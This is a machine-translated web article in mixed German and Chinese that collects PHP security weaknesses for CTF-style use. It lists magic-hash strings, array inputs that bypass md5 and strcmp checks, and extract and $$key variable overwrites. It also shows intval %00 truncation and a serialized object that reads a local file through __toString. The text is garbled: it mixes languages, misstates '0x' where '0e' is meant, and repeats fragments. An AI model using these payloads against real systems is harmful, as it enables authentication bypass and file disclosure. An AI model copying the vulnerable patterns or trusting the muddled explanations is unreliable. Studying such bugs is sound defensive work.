Heim > Artikel > Backend-Entwicklung > Teilen einer Sammlung von Schwachstellen in PHP-Funktionen
Wenn PHP Hash-Strings verarbeitet und Sie „!=" oder „==" zum Vergleichen von Hash-Werten verwenden, interpretiert es jeden Hash-Wert, der mit „0x“ beginnt, als wissenschaftliche Notation 0 (ist 0), wenn also zwei verschiedene Passwörter vorhanden sind gehasht sind und ihre Hashwerte mit „0e“ beginnen, dann geht PHP davon aus, dass sie gleich sind.
Zu den üblichen Nutzlasten gehören
0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a 0x02 sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
Gleichzeitig kann MD5 keine Arrays verarbeiten. Wenn die folgenden Urteile getroffen werden, können Arrays zur Umgehung von
if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } //http://127.0.0.1/1.php?a[]=1&b[]=2
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
String-Vergleichsanalyse
Wenn $_GET['password'] hier ein Array ist, ist der Rückgabewert NULL
Wenn ja 123 ||. asd ||. 123%00&&&**, der Rückgabewert ist wahr
<?php print_r(@$_GET); foreach ($_GET AS $key => $value) { print $key."\n"; }?>
<?php $auth = '0'; // 这里可以覆盖$auth的变量值 print_r($_GET); echo "</br>"; extract($_GET); if($auth == 1){ echo "private!"; } else{ echo "public!"; } ?>Extrakt Sie können ein Array empfangen und die Variable dann neu zuweisen. Die Prozedurseite ist sehr einfach.
<?php $a='hi'; foreach($_GET as $key => $value) { echo $key."</br>".$value; $$key = $value; } print "</br>".$a;?>Konstruieren
, um das Ziel zu erreichen. http://127.0.0.1:8080/test.php?a=12
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 先将两个参数先转换成string类型。 当比较数组和字符串的时候,返回是0。 如果参数不是string类型,直接return
<?php $password=$_GET['password']; if (strcmp('xd',$password)) { echo 'NO!'; } else{ echo 'YES!'; }?>Konstruktion
http://127.0.0.1:8080/test.php?password[]=
<?phpecho is_numeric(233333); # 1echo is_numeric('233333'); # 1echo is_numeric(0x233333); # 1echo is_numeric('0x233333'); # 1echo is_numeric('233333abc'); # 0?>
Wenn es bei der Ausführung eines regulären Ausdrucks keine Einschränkungen für den Anfang und das Ende der Zeichenfolge gibt Bei passender Endung (^ und $) kann es zu Umgehungsproblemen kommen
<?php$ip = 'asd 1.1.1.1 abcd'; // 可以绕过if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); }?>
Eine Art zeitvariabler Abdeckung
<?php $var='init'; print $var."</br>"; parse_str($_SERVER['QUERY_STRING']); echo $_SERVER['QUERY_STRING']."</br>"; print $var;?>
<?php echo 0 == 'a' ;// a 转换为数字为 0 重点注意 // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc // 十六进制与整数,被转换为同一进制比较 '0xccccccccc' == '54975581388' ; // 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0 1 == '1'; 1 == '01'; 10 == '1e1'; '100' == '1e2' ; // 十六进制数与带空格十六进制数,被转换为十六进制整数 '0xABCdef' == ' 0xABCdef'; echo '0010e2' == '1e3'; // 0e 开头会被当成数字,又是等于 0*10^xxx=0 // 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过 '0e509367213418206700842008763514' == '0e481036490867661113260034900752'; '0e481036490867661113260034900752' == '0' ; var_dump(md5('240610708') == md5('QNKCDZO')); var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));?>
<?php $_CONFIG['extraSecure'] = true;foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } }if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; }?>
$var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var);string zu int: intval() Funktion.
var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 可以使用字符串-0转换,来自于wechall的方法Erklärt, dass beim Konvertieren von intval() vom Anfang der Zeichenfolge an konvertiert wird, bis ein nicht numerisches Zeichen gefunden wird. Selbst wenn eine Zeichenfolge erscheint, die nicht konvertiert werden kann, meldet intval() keinen Fehler, sondern gibt 0 zurück
Intval kann übrigens um %00 gekürzt werden
if($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }Wenn $req['number ']= 0%00 kann die Beurteilung von
<?php $i ="abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } ?>
$array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //trueGeben Sie einen String an jeder Stelle ein, an der PHP ihn als int ansieht. Dies wird erzwungen Konvertieren
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。
<?phpclass test{ public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } }$a = new test();$a->file = 'C:\Users\YZ\Desktop\plan.txt';echo serialize($a);?>//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了echo unserialize löst die __tostring-Funktion aus, und die Datei C:UsersYZDesktopplan.txt kann unten gelesen werden
<?phpclass test{ public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } }$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';echo unserialize($a);?>
ini_set('session.serialize_handler', 'php_serialize');
ini_set (' session.serialize_handler', 'php');
Die beiden behandeln Sitzungen unterschiedlich
UsersYZDesktopplan.txt";}';echo unserialize($a);?>
ini_set('session.serialize_handler', 'php_serialize');
ini_set('session.serialize_handler ' , 'php');
Die beiden behandeln Sitzungen unterschiedlich
Verwandte Empfehlungen:
Einige häufige Sicherheitslücken in PHP-Websites und entsprechende vorbeugende Maßnahmen
PHP über Sicherheitslücke bei der Deserialisierung von Objektinjektionen
9 empfohlene Artikel über Sicherheitslücken in Dateien
Das obige ist der detaillierte Inhalt vonTeilen einer Sammlung von Schwachstellen in PHP-Funktionen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!